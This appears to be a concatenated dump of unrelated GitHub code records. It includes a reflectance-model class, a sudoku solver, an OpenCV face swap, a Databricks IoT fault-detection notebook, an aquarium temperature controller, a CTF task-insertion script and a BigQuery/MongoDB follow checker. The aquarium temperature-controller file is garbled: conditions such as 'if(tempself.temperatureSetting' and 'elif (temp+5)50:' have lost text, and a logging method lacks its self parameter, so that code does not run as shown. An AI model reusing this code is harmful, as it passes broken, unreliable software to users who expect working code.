band dataset {bname} not in input scene!\")\n\n if self.angle_names is not None:\n for kname in self.angle_names.keys():\n bname = self.angle_names[kname]\n if bname not in self.scn:\n raise KeyError(f\"User-supplied angle dataset {bname} not in input scene!\")\n\n # Cox Munk output class, used later\n self.cm_refl = CMReflectance()\n\n # Compute longitudes and latitudes from first selected band. Assumes all bands are same\n # dimensions! This means that high res bands (such as Himawari B03) must be resampled to\n # lower res band resolution before passing to PyCoxMunk. If you wish to process both\n # high and low res bands at native resolution then you must call PyCoxMunk multiple times.\n lons, lats = self.scn[self.band_names[0]].attrs['area'].get_lonlats()\n\n self.geometry = CMSceneGeom(da.array(self.scn[self.angle_names['sza']]),\n da.array(self.scn[self.angle_names['saa']]),\n da.array(self.scn[self.angle_names['vza']]),\n da.array(self.scn[self.angle_names['vaa']]),\n da.array(lats),\n da.array(lons))\n\n # Initialise shared winds and mask, not yet loaded\n self.shared_wind = CMSharedWind(self.geometry, 0., 0.)\n self.pixmask = None\n\n def setup_pixmask(self, cloud_mask=None, land_mask=None, sol_zen_mask=None, sat_zen_mask=None):\n \"\"\"Add a pixel mask to the class.\n Inputs (all optional):\n - cloud_mask: An array for masking clouds, any values > 0 are assumed cloudy and not processed.\n - land_mask: An array for masking land pixels, any values > 0 are assumed cloudy and not processed.\n - sol_zen_mask: An array for masking high solar zeniths, any values > 0 are assumed cloudy and not processed.\n - sat_zen_mask: An array for masking high viewing zeniths, any values > 0 are assumed cloudy and not processed.\n Zenith angle masks can be added post-creation by calling the `cut_high_zen` function in the PyCoxMunk.pixmask.\n \"\"\"\n self.pixmask = CMPixMask(cloud_mask, land_mask,\n sol_zen_mask, sat_zen_mask)\n\n def setup_wind(self, u10, v10):\n \"\"\"Set up the fields that depend on wind speed.\n Inputs:\n - u10: Float or darray, u-direction wind speed at 10m in m/s.\n - v10: Float or array, v-direction wind speed at 10m in m/s.\n Returns:\n - self.shared_wind: CM_Shared_Wind class.\n \"\"\"\n\n self.shared_wind = CMSharedWind(self.geometry, u10, v10)\n\n def _run_delete(self):\n \"\"\"Delete unneeded data.\"\"\"\n if self.delete_when_done:\n try:\n del self.shared_wind\n except (NameError, AttributeError):\n pass\n try:\n del self.geometry\n except (NameError, AttributeError):\n pass\n try:\n del self.cm_refl.rhoul\n except (NameError, AttributeError):\n pass\n try:\n del self.cm_refl.rhogl\n except (NameError, AttributeError):\n pass\n try:\n del self.cm_refl.rhowc\n except (NameError, AttributeError):\n pass\n\n def retr_coxmunk_refl(self):\n \"\"\"Main function for computing the sea surface reflectance.\n\n This uses data previously loaded including, if available, wind and ocean color\n data to compute the reflectance using the approach described in Sayer (2010).\n DOI: 10.5194/amt-3-813-2010\n\n This accounts for white caps and Chlorophyll content (via Ocean Color). However,\n it is designed for use over open oceans and may give poor results in coastal regions,\n lakes, and other water types.\n \"\"\"\n for band_id in self.band_names:\n out_band_id = f'cox_munk_refl_{band_id}'\n self.scn[out_band_id] = self.scn[band_id].copy()\n self.cm_refl = calc_coxmunk_wrapper(self.scn[band_id].attrs['wavelength'].central,\n self.geometry,\n self.shared_wind,\n oc_cci_data=None,\n do_brdf=self.do_brdf)\n # Mask bad pixels\n mlist = []\n if self.mask_bad:\n masker_rho = da.where(self.cm_refl.rho < - 0.5, np.nan, 1)\n mlist = [masker_rho]\n\n if self.pixmask is not None:\n pmask = da.where(self.pixmask.mask >= 1, np.nan, 1)\n mlist.append(pmask)\n for masker in mlist:\n self.cm_refl.rho = self.cm_refl.rho * masker\n if self.do_brdf:\n self.cm_refl.rho_0d = self.cm_refl.rho_0d * masker\n self.cm_refl.rho_0v = self.cm_refl.rho_0v * masker\n self.cm_refl.rho_dd = self.cm_refl.rho_dd * masker\n self.cm_refl.rho_dv = self.cm_refl.rho_dv * masker\n\n self.scn[out_band_id].data = self.cm_refl.rho\n\n if self.do_brdf:\n out_band_id = f'cox_munk_rho0d_{band_id}'\n self.scn[out_band_id] = self.scn[band_id].copy()\n self.scn[out_band_id].data = self.cm_refl.rho_0d\n\n out_band_id = f'cox_munk_rho0v_{band_id}'\n self.scn[out_band_id] = self.scn[band_id].copy()\n self.scn[out_band_id].data = self.cm_refl.rho_0v\n\n out_band_id = f'cox_munk_rhodv_{band_id}'\n self.scn[out_band_id] = self.scn[band_id].copy()\n self.scn[out_band_id].data = self.cm_refl.rho_dv\n\n out_band_id = f'cox_munk_rhodd_{band_id}'\n self.scn[out_band_id] = self.scn[band_id].copy()\n self.scn[out_band_id].data = self.cm_refl.rho_dd\n\n self._run_delete()\n","repo_name":"simonrp84/PyCoxMunk","sub_path":"pycoxmunk/CM_Main.py","file_name":"CM_Main.py","file_ext":"py","file_size_in_byte":12234,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"37"} +{"seq_id":"23926986081","text":"#Hardik Shahu\r\n#SodukoSolver\r\nimport numpy as np\r\n\r\n#Feel free to change these numbers to your liking!\r\ngrid = [[3, 0, 6, 5, 0, 8, 4, 0, 0],\r\n [5, 2, 0, 0, 0, 0, 0, 0, 0],\r\n [0, 8, 7, 0, 0, 0, 0, 3, 1],\r\n [0, 0, 3, 0, 1, 0, 0, 8, 0],\r\n [9, 0, 0, 8, 6, 3, 0, 0, 5],\r\n [0, 5, 0, 0, 9, 0, 6, 0, 0],\r\n [1, 3, 0, 0, 0, 0, 2, 5, 0],\r\n [0, 0, 0, 0, 0, 0, 0, 7, 4],\r\n [0, 0, 5, 2, 0, 6, 3, 0, 0]]\r\n\r\n\r\n\r\nprint(\"This is how the board looks at the start!:\\n\")\r\nprint(np.matrix(grid))\r\nprint(\"\\n\")\r\n\r\n#This fuction will check if the numnber repeats\r\ndef possible(row, column, number):\r\n global grid\r\n\r\n #Checks if the number is already in the given row\r\n for i in range(0,9):\r\n if grid[row][i] == number:\r\n return False\r\n\r\n #Checks if the number is already in the given column\r\n for i in range(0,9):\r\n if grid[i][column] == number:\r\n return False\r\n \r\n #Checks if the number is already in the given square\r\n xx = (column // 3) * 3 #Needed to check the square\r\n yy = (row // 3) * 3 #Needed to check the square\r\n for i in range(0,3):\r\n for j in range(0,3):\r\n if grid[yy + i][xx + j] == number:\r\n return False\r\n return True\r\n\r\n#This will actually solve it, uses backtracking algorithm \r\ndef solve():\r\n global grid\r\n for row in range(0,9):\r\n for column in range(0,9):\r\n if grid[row][column] == 0:\r\n for number in range(1,10):\r\n if possible(row, column, number):\r\n grid[row][column] = number\r\n solve()\r\n grid[row][column] = 0\r\n return \r\n print(\"This is one solution:\\n\") \r\n print(np.matrix(grid))\r\n temp = input(\"See more possible solutions (if any?)\")\r\n\r\nsolve()\r\n","repo_name":"hardik365/SodukoSolver","sub_path":"SodokuSolver.py","file_name":"SodokuSolver.py","file_ext":"py","file_size_in_byte":1879,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"7284628401","text":"import cv2 as cv\nimport numpy as np\n\ndef inRect(box, point):\n x, y, w, h = box\n px, py = point\n if (px >= x) and (px <= x+ w) and (py >= y) and (py <= y + h):\n return True\n return False\n\n#-- Cargar el clasificador\nface_cascade = cv.CascadeClassifier()\nface_cascade.load('modelos/lbpcascade_frontalface_improved.xml')\n\n#-- Cargar las imágenes\nrostro1 = cv.imread('arte/travolta.jpg')\nrostro2 = cv.imread('arte/cage.jpg')\n\n#-- Cargar el detector de fronteras\nfacemark = cv.face.createFacemarkKazemi() \nfacemark.loadModel('face_landmark_model.dat')\n\ngris1 = cv.cvtColor(rostro1, cv.COLOR_BGR2GRAY)\ngris1 = cv.equalizeHist(gris1)\nfaces1 = face_cascade.detectMultiScale(gris1)\nresult, landmarks1 = facemark.fit(rostro1, faces1)\n\ngris2 = cv.cvtColor(rostro2, cv.COLOR_BGR2GRAY)\ngris2 = cv.equalizeHist(gris2)\nfaces2 = face_cascade.detectMultiScale(gris2)\nresult, landmarks2 = facemark.fit(rostro2, faces2)\n\n# Crear red convexa\nhull = cv.convexHull(landmarks2[0][0], returnPoints=False)\nfrontera1 = [landmarks1[0][0][z][0] for z in hull]\nfrontera2 = [landmarks2[0][0][z][0] for z in hull]\n\n#cv.imshow('Busqueda-facial1', cv.face.drawFacemarks(rostro1, landmarks1[0], (255, 0, 0) ))\n#cv.imshow('Busqueda-facial2', cv.face.drawFacemarks(rostro2, landmarks2[0], (255, 0, 0) ))\n#cv.waitKey()\n\n# Generar parches triangulares\nrect2 = 0, 0, len(rostro2[0]), len(rostro2)\nsubdiv = cv.Subdiv2D(rect2)\nfor lm in frontera2:\n subdiv.insert(lm)\ntriangleList = subdiv.getTriangleList()\ntriangles = []\nfor x in triangleList:\n pts = [(x[0], x[1]), (x[2], x[3]), (x[4], x[5])]\n ind = [0,0,0]\n if (inRect(rect2, pts[0]) and inRect(rect2, pts[1]) and inRect(rect2, pts[2])):\n for j in range(3):\n for k in range(len(frontera2)):\n if (abs(pts[j][0]-frontera2[k][0]) < 1.0 and abs(pts[j][1]-frontera2[k][1]) < 1.0):\n ind[j] = int(k)\n triangles.append(ind)\n\n# Transformacion afines en los parches triangulares\nimg1Warped = rostro2.copy()\nfor t in triangles:\n t1 = [frontera1[t[j]] for j in [0,1,2]]\n t2 = [frontera2[t[j]] for j in [0,1,2]]\n r1 = cv.boundingRect(np.array(t1))\n r2 = cv.boundingRect(np.array(t2))\n triangle1Rect = [(t1[i][0]-r1[0], t1[i][1]-r1[1]) for i in [0,1,2]]\n triangle2Rect = [(t2[i][0]-r2[0], t2[i][1]-r2[1]) for i in [0,1,2]]\n triangle2RectInt = [(int(t2[i][0]-r2[0]), int(t2[i][1]-r2[1])) for i in [0,1,2]]\n # Máscara para llenar los parches triangulares\n mask = np.zeros((r2[3],r2[2], 3)).astype(np.float32)\n mask = cv.fillConvexPoly(mask, np.array(triangle2RectInt), (1.0, 1.0, 1.0), 16, 0)\n # Distorsionar los parches triangulares creados y mapearlos en la imagen de destino\n img1Rect = rostro1[r1[1]:r1[1]+r1[3],r1[0]:r1[0]+r1[2]]\n img2Rect = np.zeros((r2[3],r2[2], 3)).astype(np.float32)\n warp_mat = cv.getAffineTransform(np.array(triangle1Rect).astype(np.float32), np.array(triangle2Rect).astype(np.float32))\n img2Rect = cv.warpAffine(img1Rect, warp_mat, (np.shape(img2Rect)[1], np.shape(img2Rect)[0]), cv.INTER_LINEAR, cv.BORDER_REFLECT_101)\n img2Rect = cv.multiply(img2Rect.astype(np.float32), mask.astype(np.float32))\n img2Crop = img1Warped[r2[1]:r2[1]+r2[3],r2[0]:r2[0]+r2[2]]\n ones = np.ones(np.shape(mask)) - mask\n img2Crop = cv.multiply(img2Crop.astype(np.float32), ones.astype(np.float32))\n img2Crop = img2Crop + img2Rect\n img1Warped[r2[1]:r2[1]+r2[3],r2[0]:r2[0]+r2[2]] = img2Crop\n\n# Máscara para colorear los parches mapeados\nmhull = [(int(x[0]), int(x[1])) for x in frontera2]\nmask1 = np.zeros(rostro2.shape, rostro2.dtype)\nmask1 = cv.fillConvexPoly(mask1, np.array(mhull), (255,255,255))\n\n# Colorear los parches usando la operación de clonación \nrc = cv.boundingRect(np.array(frontera2))\ncenter = rc[0] + rc[2] // 2, rc[1] + rc[3] // 2\nprint(np.shape(mask1))\noutput = cv.seamlessClone(img1Warped, rostro2, mask1, center, cv.NORMAL_CLONE)\ncv.imshow('Contracara', output)\n#cv.imshow('Contracara', rostro2)\ncv.waitKey()\n\n\n#-- python3 face_swap.py","repo_name":"herb786/computer_vision_ejemplos","sub_path":"face_swap.py","file_name":"face_swap.py","file_ext":"py","file_size_in_byte":4018,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"236868721","text":"# Databricks notebook source\ndbutils.widgets.dropdown(\"reset_all_data\", \"false\", [\"true\", \"false\"], \"Reset all data\")\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC \n# MAGIC # Vibration Fault Detection\n# MAGIC \n# MAGIC Our first use-case will be fault detection in the Mixing step. \n# MAGIC Abnormal mixer vibrations can quickly lead to plant outages, having very high impact on revenue. \n# MAGIC To solve this issue, the business asked us to trigger alarms when anomalies are detected in the production line.\n# MAGIC \n# MAGIC This is the flow we'll be implementing: \n# MAGIC \n# MAGIC \n# MAGIC \n# MAGIC \n# MAGIC \n\n# COMMAND ----------\n\n# DBTITLE 1,Init data & resources. Hide this cell results\n# MAGIC %run ./_resources/02-IOT-Data-Generator $reset_all_data=$reset_all_data\n\n# COMMAND ----------\n\n# MAGIC %md-sandbox\n# MAGIC \n# MAGIC ### 1 Ingesting our plant sensor information - Streaming\n# MAGIC \n# MAGIC \n# MAGIC \n# MAGIC \n# MAGIC #### Scalable exactly-once data ingestion with Auto Loader\n# MAGIC \n# MAGIC In this example, we'll use Databricks Auto Loader to process files uploaded by IoT systems. We could also process streams from Kafka, Event Hubs, IoT Hub, etc.\n# MAGIC \n# MAGIC Auto Loader `cloudFiles` makes data ingestion easy without requiring strong Data Engineering expertise:\n# MAGIC \n# MAGIC - Auto ingest new files exactly-once\n# MAGIC - Scale to billions of files\n# MAGIC - Infer & evolve schemas\n\n# COMMAND ----------\n\n# DBTITLE 1,Ingest IOT data with Autoloader (cloudFiles)\ninput_df = (\n spark\n .readStream\n .format(\"cloudFiles\")\n .option(\"cloudFiles.format\", \"csv\")\n .option(\"cloudFiles.inferSchema\", \"true\")\n .option(\"cloudFiles.inferColumnTypes\", \"true\")\n .option(\"cloudFiles.schemaLocation\", cloud_storage_path+\"/digital-twins/landing_schema\")\n .option(\"header\", \"true\")\n .load(cloud_storage_path+\"/digital-twins/landing_zone\")\n)\n\ndisplay(input_df)\n\n# COMMAND ----------\n\n# MAGIC %md-sandbox\n# MAGIC ## Training a model to detect Mixing Anomalies\n# MAGIC \n# MAGIC \n# MAGIC \n# MAGIC Our next step is to build a model to detect anomalies in the Mixing Step.\n# MAGIC \n# MAGIC As an input, we'll take sensor data from the Mixer (e.g. vibration signals) to train our model to detect faulty mixers, preventing potential outages and defective batteries. \n\n# COMMAND ----------\n\n# MAGIC %md-sandbox\n# MAGIC \n# MAGIC ## Accelerating Anomaly detection using Databricks Auto-ML\n# MAGIC \n# MAGIC \n# MAGIC \n# MAGIC ### A glass-box solution that empowers data teams without taking away control\n# MAGIC \n# MAGIC Bootstraping new ML projects can still be long and inefficient.
    \n# MAGIC Instead of creating the same boilerplate for each new project, Databricks AutoML can automatically generate state of the art models for Classifications, regression, and forecast.\n# MAGIC \n# MAGIC \n# MAGIC Models can be directly deployed, or instead leverage generated notebooks to boostrap projects with best-practices, saving you weeks of efforts.\n# MAGIC \n# MAGIC ### Using Databricks Auto ML for our Faulty Mixing Station detection\n# MAGIC \n# MAGIC A dataset containing labels on faulty mixing station has been provided. \n# MAGIC All we have to do is start a new AutoML experiment and select this dataset `twins_vibration_labeled`.\n# MAGIC \n# MAGIC Our prediction target is the `fault` column.\n# MAGIC \n# MAGIC Click on Start, and Databricks will do the rest.\n# MAGIC \n# MAGIC While this is done using the UI, you can also leverage the [Python API](https://docs.databricks.com/applications/machine-learning/automl.html#automl-python-api-1)\n\n# COMMAND ----------\n\n# DBTITLE 1,Loading our training dataset in Databricks AutoML\nimport pandas as pd\nlabeled_dataset = spark.read.csv(cloud_storage_path+\"/digital-twins/vibration_reports.csv\", header=True, inferSchema=True)\nlabeled_dataset.withColumn(\"fault\", F.when(F.col(\"fault\").startswith(\"Ball\"), \"BALL_FAULT_PREDICTED\").otherwise(\"NORMAL\")) \\\n .write.mode('overwrite').saveAsTable(\"twins_vibration_labeled\")\n# Our AutoML has already been running, we can check the results\ndisplay_automl_mixer_vibration_link()\n\n# COMMAND ----------\n\n# MAGIC %md-sandbox\n# MAGIC \n# MAGIC ### Loading ML Model to detect anomalies in streaming\n# MAGIC \n# MAGIC \n# MAGIC \n# MAGIC Our Data Science team have now finalized their ML Model for detecting potential vibration faults. They were able to take the *Best Model Notebook* from Databricks AutoML, then perform their own tweaks as appropriate, before publishing to our Model Registry.\n# MAGIC \n# MAGIC All we now have to do is load this model from our Model Registry, and simply use it in our stream.\n# MAGIC \n# MAGIC Note how simple this is, not requiring any ML knowledge or which framework was used to build it.\n\n# COMMAND ----------\n\n# DBTITLE 1,Load model and run inference in our data stream\n# Load the current (latest) model from the PROD environment\nmodel_production_uri = f\"models:/field_demos_mixer_vibration/production\"\nprint(f\"Loading registered model version from URI: '{model_production_uri}'\")\n\n# Load the current (latest) model from the PROD environment into a User-Defined Function (UDF)\nloaded_model = mlflow.pyfunc.spark_udf(spark, model_production_uri, result_type='string')\n# getting a list of columns from our last run\ninput_column_names = loaded_model.metadata.get_input_schema().input_names()\n\n# Apply our AutoML model immediately to our incoming data\nprediction_df = input_df.withColumn(\"prediction\", loaded_model(*input_column_names))\n\ndisplay(prediction_df.select('plant_id', 'line_id', 'station_id', 'prediction', '*'))\n\n# COMMAND ----------\n\n# MAGIC %md-sandbox\n# MAGIC \n# MAGIC ## Sending Live Predictions to our Digital Twins \n# MAGIC \n# MAGIC \n# MAGIC \n# MAGIC The last step is now to send these predictions to Azure Digital Twins.\n# MAGIC \n# MAGIC For this pipeline, we'll start a streaming job running every 30sec. We'll then get the ratio of faulty vs normal measurements based on analyzing the incoming vibration signals.\n# MAGIC \n# MAGIC If we have more than 10% of measurements flagged as faulty, we'll consider the mixing station as faulty and send this tag to Azure Digital Twins.\n# MAGIC \n# MAGIC *Note: this is a simple approach, more advanced solutions/models can be built, for example using a sequence of measurement instead of a point in time* \n\n# COMMAND ----------\n\ncredential = DefaultAzureCredential()\nservice_client = DigitalTwinsClient(adt_url, credential)\n\ndef publish_mixer_health(batch_df, batch_id):\n batch_df = batch_df.cache()\n # For more details, check get_mixer_health_ratio function in the _resources/00-setup notebook.\n ratio = get_mixer_health_ratio(batch_df)\n # If the ratio is > 10%, we'll consider the mixing station as faulty and update the status in our digital twins.\n for r in ratio.collect():\n twin = twin_dict[r[\"station_id\"]]\n status = 'OK' if r['fault_ratio'] < 0.1 else 'FAULT_PREDICTED'\n #patch data for our Digital twin\n patch = {\n \"HealthPrediction\": status,\n \"BallBearings\": {\n \"faultPredicted\": status != \"OK\",\n \"$metadata\": {}\n }\n }\n twin.update(patch)\n print(f'Updating status of station id {r[\"station_id\"]} to {status} on Azure Digital Twins...')\n service_client.upsert_digital_twin(r[\"station_id\"], twin)\n\n# COMMAND ----------\n\n# For more details, check publish_mixer_health in the _resources/00-setup notebook.\nprediction_df.writeStream.foreachBatch(publish_mixer_health).trigger(processingTime=\"30 second\").start()\n\n# COMMAND ----------\n\n# DBTITLE 1,Stop all streams to release the cluster\nstop_all_streams()\n\n# COMMAND ----------\n\n# MAGIC %md-sandbox\n# MAGIC \n# MAGIC ## Visualizing anomalies on Azure Digital Twins \n# MAGIC \n# MAGIC \n# MAGIC \n# MAGIC Let's head back to our [Azure Digital Twins Explorer](https://explorer.digitaltwins.azure.net/?tid=9f37a392-f0ae-4280-9796-f1864a10effc&eid=battery-plant-digital-twin.api.eus2.digitaltwins.azure.net).\n# MAGIC \n# MAGIC - Run ```SELECT * FROM digitaltwins WHERE HealthPrediction != 'OK'``` again, you should now see `MixingStep-Line1-Munich`\n# MAGIC - Click the + sign (Expand tree) to show `HealthPrediction` and `BallBearings.faultPredicted`\n# MAGIC - We've now made predictive maintenance a lot less ambiguous through the knowledge graph!\n\n# COMMAND ----------\n\n# MAGIC %md \n# MAGIC ## Conclusion\n# MAGIC \n# MAGIC Digital Twins is a powerful concept that can be used to add intelligence and semantic reasoning to many real world processes.\n# MAGIC \n# MAGIC Keep in mind that this demo was a simple overview of a predictive maintenance model. Many other use-cases can be implemented, from energy optimization to root cause analysis.\n# MAGIC \n# MAGIC ### Next step: Perform Root Cause Analysis & Troubleshooting with Databricks SQL\n# MAGIC \n# MAGIC Our quality team reported issues with our recent batch of batteries.\n# MAGIC \n# MAGIC Let's see how we can perform [root cause analysis]($./03-Root-Cause-Analysis) leveraging simple SQL queries and Databricks SQL dashboards.\n","repo_name":"dongwkim/field-demos-kr","sub_path":"field-demo/demo-manufacturing/Usecase: Digital Twins/02-Faulty-Equipment-Detection.py","file_name":"02-Faulty-Equipment-Detection.py","file_ext":"py","file_size_in_byte":10753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"14086314924","text":"import time\nimport heater as h\nfrom threading import Thread\nfrom tkinter import * \nimport thermometer as te\nimport os\nimport errno\n\n\nclass temperatureControl:\n\n def __init__(self,tempSet,root,GUIcolors,pSize,em,logger,heaterLoaction=22):\n self.heater=h.heater(heaterLoaction)\n self.thermometer=te.thermometer()\n self.temperatureSetting=tempSet\n self.opperationStatus=True\n self.heaterLock=False\n self.warning='none'\n self.warned=False\n self.emails=em\n\n self.logger= logger\n\n self.thread=Thread()\n self.thread.start()\n self.thread.join()\n\n self.pX=pSize[0]\n self.pY=pSize[1]\n self.root=root\n self.bgC=GUIcolors[0]\n self.fgC=GUIcolors[1]\n self.bdC=GUIcolors[2]\n self.frame=Frame()\n self.settupGUI()\n\n self.secondPartOgGUI()\n\n\n#Public stuff\n def On(self):\n self.opperationStatus=True\n self.heaterLock=False\n self.thread=Thread(target=self.main)\n self.thread.start()\n self.log('system turned on')\n\n def End(self):\n self.opperationStatus=False\n self.heater.Off()\n self.thread.join()\n self.updateGUI()\n self.log('system turned off')\n\n\n def heaterOff(self):\n self.heaterLock=False\n self.heater.Off()\n self.heaterLock=True\n self.updateGUI()\n self.log('heater turned off by user')\n\n \n def heaterOn(self):\n self.heaterLock=False\n self.heater.On()\n self.heaterLock=True\n self.updateGUI()\n self.log('heater turned on by user')\n\n\n def heaterNormal(self):\n self.heaterLock=False\n self.updateGUI()\n self.log('heater turned normal by user')\n\n\n def getHeaterStatus(self):\n return self.heater.getStatus()\n\n def getTankTemperatur(self):\n return self.thermometer.getTemperature() \n\n def setTankTemp(self,n):\n self.temperatureSetting=n\n self.updateGUI()\n\n def getTankTempSetting(self):\n return self.temperatureSetting \n\n def temperatureFixed(self):\n self.warning='none'\n self.warned=False\n \n#private methods \n\n def log(message='',warning=''):\n self.logger.temp(self.opperationStatus,self.getHeaterStatus(),self.temperatureSetting,self.thermometer.getTemperature(),message,warning)\n\n \n def main(self):\n lastMin=0\n while self.opperationStatus:\n t=time.localtime()\n \n temp=self.thermometer.getTemperature()\n if(self.heaterLock==False):\n if(tempself.temperatureSetting and not self.warned:\n self.warning='tank temperature is too low'\n self.emails.sendMessage(self.warning)\n self.log('problem',self.warning)\n elif (temp+5)50:\n self.setTankTemp(self.tempTempSetting.get())\n self.lbl.config(text=\"\")\n else: \n self.lbl.config(text=\"please enter number between 50 and 150\")\n except:\n self.lbl.config(text=\"please enter number between 50 and 150\")\n","repo_name":"JoshBeers/AquariumController","sub_path":"temperatureControl.py","file_name":"temperatureControl.py","file_ext":"py","file_size_in_byte":7524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"3523693641","text":"import argparse\nimport sqlite3\n\n\nnew_task = dict(\n name='The task',\n cost=1000,\n category='Ucucuga',\n description='''\nYou know the rules and so do I\n'''.strip(),\n flag='flag{thisisflag}',\n is_active=True,\n)\n\n\nparser = argparse.ArgumentParser(\n description='''Script used for task creation, before implementing web interface'''\n)\nparser.add_argument(\n '--database',\n '-d',\n dest='db_path',\n type=str,\n required=True,\n help=(\n 'Path to the new database. Information from old database will be '\n 'written here. New database must be empty and already initialized '\n 'with `npx prisma migrate` command. '\n ),\n)\n\n\ndef write_data(path: str):\n with sqlite3.connect(path) as conn:\n cur = conn.cursor()\n search_for_tasks = cur.execute(\n 'SELECT * FROM tasks WHERE name=?', (new_task['name'],)\n ).fetchall()\n if not search_for_tasks:\n cur.execute(\n '''\n INSERT INTO tasks (name, cost, category, description, flag, is_active)\n VALUES (?,?,?,?,?,?)\n ''',\n (\n new_task['name'],\n new_task['cost'],\n new_task['category'],\n new_task['description'],\n new_task['flag'],\n new_task['is_active'],\n ),\n )\n cur.connection.commit()\n\n\nif __name__ == '__main__':\n args = parser.parse_args()\n write_data(args.db_path)\n","repo_name":"LeKSuS-04/kleuss-ctf-archived","sub_path":"scripts/create-task.py","file_name":"create-task.py","file_ext":"py","file_size_in_byte":1534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"29016904369","text":"# cloud config set project media17-1119\n# pipenv run python unfollow.py\nfrom google.cloud import bigquery\nfrom bson import json_util\nfrom multiprocessing.pool import ThreadPool as Pool\nimport pymongo\nimport json\n\ncount = 0 \npool_size = 5 \n\ndef get_job(client):\n\n query_job = client.query(\n \"\"\"\n WITH\n DateRange AS (\n SELECT\n DATE('2023-04-19') AS inputDateStart,\n DATE('2023-04-19') AS inputDateEnd ),\n EventStreamingRaw AS (\n SELECT\n CAST(timestamp AS Date) AS date,\n CAST(timestamp AS DATETIME) AS date_time, --Skye\n s_userID, -- 用戶\n s_targetUserID,-- 直播主\n msg,\n ROW_NUMBER() OVER (PARTITION BY CAST(timestamp AS Date),\n s_userID,\n s_targetUserID\n ORDER BY\n timestamp DESC) row_number,\n CASE\n WHEN msg LIKE \"%Unfollow%\" THEN \"unfollow\"\n WHEN msg LIKE \"%Follow%\" THEN \"follow\"\n ELSE\n \"error\"\n END\n AS follow\n FROM\n `media17-1119.eventStreaming.userFollow`\n WHERE\n env = 'k8sprod' AND\n DATE(_PARTITIONTIME) BETWEEN (\n SELECT\n inputDateStart\n FROM\n DateRange)\n AND (\n SELECT\n inputDateEnd\n FROM\n DateRange) ),\n EventStreamingLatest AS (\n SELECT\n -- date,\n date_time,\n s_userID,\n s_targetUserID,\n msg,\n follow\n FROM\n EventStreamingRaw\n WHERE\n row_number = 1 ) -- 最新事件\n SELECT * FROM EventStreamingLatest WHERE follow = 'follow' ORDER BY date_time DESC\n \"\"\"\n )\n\n results = query_job.result().to_dataframe()\n print(results.head())\n return results\n\ndef get_mongo(client, s_user_id, s_target_user_id): \n db = client['17media']\n col = db[\"UserFollowV2\"]\n doc = col.find_one({'followeeID':s_target_user_id,'followerID': s_user_id}) # mongo follow\n return doc\n\ndef worker(mongo_client, event_stream_doc, diff, count):\n result = get_mongo(mongo_client,s_user_id=event_stream_doc['s_userID'],s_target_user_id=event_stream_doc['s_targetUserID'])\n if result is None:\n obj = event_stream_doc.to_dict()\n print(obj)\n diff.append(obj)\n\n\ndef main():\n project = 'media17-1119' # Project ID inserted based on the query results selected to explore\n location = 'US'\n username = ''\n secret = ''\n client = bigquery.Client(project=project, location=location)\n mongo_client = pymongo.MongoClient(\"mongodb+srv://{}:{}@m17prod-user.8rrni.mongodb.net/17media\".format(username,secret))\n event_stream_docs = get_job(client) # unfollow\n\n diff = []\n num = len(event_stream_docs)\n pool = Pool(pool_size)\n count = [1]\n for index, event_stream_doc in event_stream_docs.iterrows():\n pool.apply_async(worker, (mongo_client, event_stream_doc, diff, count))\n print(f\"run: {index}/{num}\")\n\n pool.close()\n pool.join()\n print(f\"abnormal: {len(diff)}/{num}\")\n with open(\"data.json\", \"w\") as outfile:\n json.dump(diff, outfile, indent=4,default=json_util.default)\n \n\nif __name__ == '__main__':\n main()","repo_name":"Skye-Tseng/data-skye","sub_path":"unfollow/unfollow.py","file_name":"unfollow.py","file_ext":"py","file_size_in_byte":3325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"6183455263","text":"from PyQt5.QtWidgets import *\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtCore import Qt\nfrom PyQt5 import uic\nfrom pathlib import Path\n\nimport os\nimport numpy as np\nfrom matplotlib.backends.backend_qt5agg import NavigationToolbar2QT\n\nfrom data.user_input.data_handler.export_model_results import ExportModelResults\nfrom data.user_input.data_handler.import_data_to_compare import ImportDataToCompare\nfrom data.user_input.plots.general.mpl_canvas import MplCanvas\n\nfrom pulse.tools.advanced_cursor import AdvancedCursor\n\ndef get_icons_path(filename):\n path = f\"data/icons/{filename}\"\n if os.path.exists(path):\n return str(Path(path))\n\nclass FrequencyResponsePlotter(QDialog):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n uic.loadUi(Path('data/user_input/ui_files/plots_/results_/frequency_response_plot.ui'), self)\n\n self._config_window()\n self._load_icons()\n self._reset_variables()\n self._initialize_canvas()\n self._define_qt_variables()\n self._create_connections()\n\n def _config_window(self):\n self.setWindowFlags(Qt.WindowStaysOnTopHint)\n self.setWindowModality(Qt.WindowModal)\n self.setWindowTitle(\"Frequency response plotter\")\n\n def _load_icons(self):\n self.icon = QIcon(get_icons_path('pulse.png'))\n self.search_icon = QIcon(get_icons_path('searchFile.png'))\n self.setWindowIcon(self.icon)\n\n def _reset_variables(self):\n self.imported_dB = False\n self._layout = None\n self.x_data = None\n self.y_data = None\n self.importer = None\n self.title = \"\"\n self.font_weight = \"normal\"\n self.data_to_plot = dict()\n self.colors = [ [0,0,1],\n [0,0,0],\n [0,1,0],\n [1,1,0],\n [0,1,1],\n [1,0,1],\n [0.75,0.75,0.75],\n [0.5, 0.5, 0.5],\n [0.25, 0.25, 0.25] ]\n\n def _define_qt_variables(self):\n # QCheckBox\n self.checkBox_grid = self.findChild(QCheckBox, 'checkBox_grid')\n self.checkBox_legends = self.findChild(QCheckBox, 'checkBox_legends')\n self.checkBox_cursor_legends = self.findChild(QCheckBox, 'checkBox_cursor_legends')\n # QComboBox\n self.comboBox_plot_type = self.findChild(QComboBox, 'comboBox_plot_type')\n self.comboBox_differentiate_data = self.findChild(QComboBox, 'comboBox_differentiate_data')\n # QFrame\n self.frame_vertical_lines = self.findChild(QFrame, 'frame_vertical_lines') \n # QPushButton\n 